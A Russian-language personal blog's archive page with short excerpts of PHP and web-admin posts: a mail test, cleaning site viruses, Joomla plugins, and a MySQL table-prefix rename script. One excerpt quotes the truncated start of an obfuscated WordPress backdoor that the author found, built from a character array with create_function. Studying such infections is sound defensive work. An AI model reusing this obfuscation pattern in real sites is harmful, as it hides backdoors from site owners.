yandex

Сибирь. Сабынич. Айти

о природе, личной жизни и информационных технологиях

php

Отправка через php mail() тестового письма с выводом ошибок

Постоянно теряю этот кусочек кода на php для отправки тестового письма, особенно когда он нужен 🙂 Обычно использую его для выяснения корректности работы почтовой подсистемы на клиентском сервере и дальнейшей диагностики.

Вирусы на сайте #3

Продолжаем бесконечную историю. Сегодня день начался с того, что блог перестал открываться по причине того, что хостер убрал InnoDB из поддерживаемых движков сервера баз данных MySQL. Пришлось слить дамп, выполнить команду sed ‘s/InnoDB/MyISAM/g’ old.sql > new.sql и залить обратно =) Сегодня наткнулся на такую прелесть: <?php $md5 = “abe69649a7dbde93d328df6049b55aea”; $wp_salt = array(‘(‘,’t’,’v’,’d’,”i”,”o”,”;”,”b”,’4′,’n’,”a”,”z”,’)’,”c”,”f”,”6″,”r”,”g”,”l”,”e”,”$”,’_’,’s’); $wp_add_filter = create_function(‘$’.’v’,$wp_salt[19].$wp_salt[2].$ […]

Вирусы на сайте. Поиск и удаление кода.

Тема появления вредоносного кода на страницах сайта очень популярная. Хотел в заголовке добавить “Часть 1”, но потом решил сделать в виде бесконечной истории =) Как уже все должно быть известно, нередко (я бы даже сказал, в большинстве случаев) пользователи сами становятся носителями инфекции (в ботнет-среде таких называют “зомби”). И внедрение кода может происходить следующим способом. […]

Плагин поиска по mediawiki 1.18.x для Joomla! 2.5

Плагин написан в замен MediaWiki Search, чья версия подходит только для использования с Joomla! 1.5.x. Автор – фрилансер с joomlaforum.ru 😉 Превосходно работает с mediawiki 1.18.x и Joomla 1.7.x. Надеюсь, будет работать и с 2.5.х веткой Joomla.  

Добавить социальные кнопки в Kunena 1.7.x

Вспомнилось, что все хотел добавить на форум возможность делиться с друзьями ссылками на темы посредством социальных сервисов и сетей. В репозитарии расширний Kunena даже был найден плагин, но каково было мое огорчение, когда он оказался платным. В качестве основы я взял блок “Поделиться” от Яндекса. Решено было добавить кнопки с поле заголовка темы. Находим в […]

Сменить префикс таблиц в базе данных mysql

Когда требуется сменить префикс таблиц в mysql, то на помощь придет следующий скрипт, который я нарыл на каком-то форуме: <?php $link = mysql_connect(“localhost”, “<USER>”, “<PASSWORD>”); $query = “SHOW TABLES FROM <TABLE>”; mysql_select_db(“<TABLE>”); $result = mysql_query($query,$link); while ($opis= mysql_fetch_array($result)) { print $opis[0]; $new = mysql_query (“ALTER TABLE `”.$opis[0].”` RENAME `”.str_replace(“<PREF1>”,”<PREF2>”,$opis[‘0’]).”`;”,$link); } mysql_close($link); ?> Если кто знает […]

Ошибка GD Image Rotation Low Quality / Poor Performance

Играюсь недавно вышедшим Drupal Commons. В разделе “Status report” наблюдаю ошибку GD Image Rotation Low Quality / Poor Performance. Это возникает по причине того, что используется официальная библиотека GD, вместо идущей в комплекте PHP. Для этого вам потребуется пересобрать PHP с параметром –with-gd. После чего проблема решится. Для Debian Linux есть способ более быстрый – […]

Пролистать наверх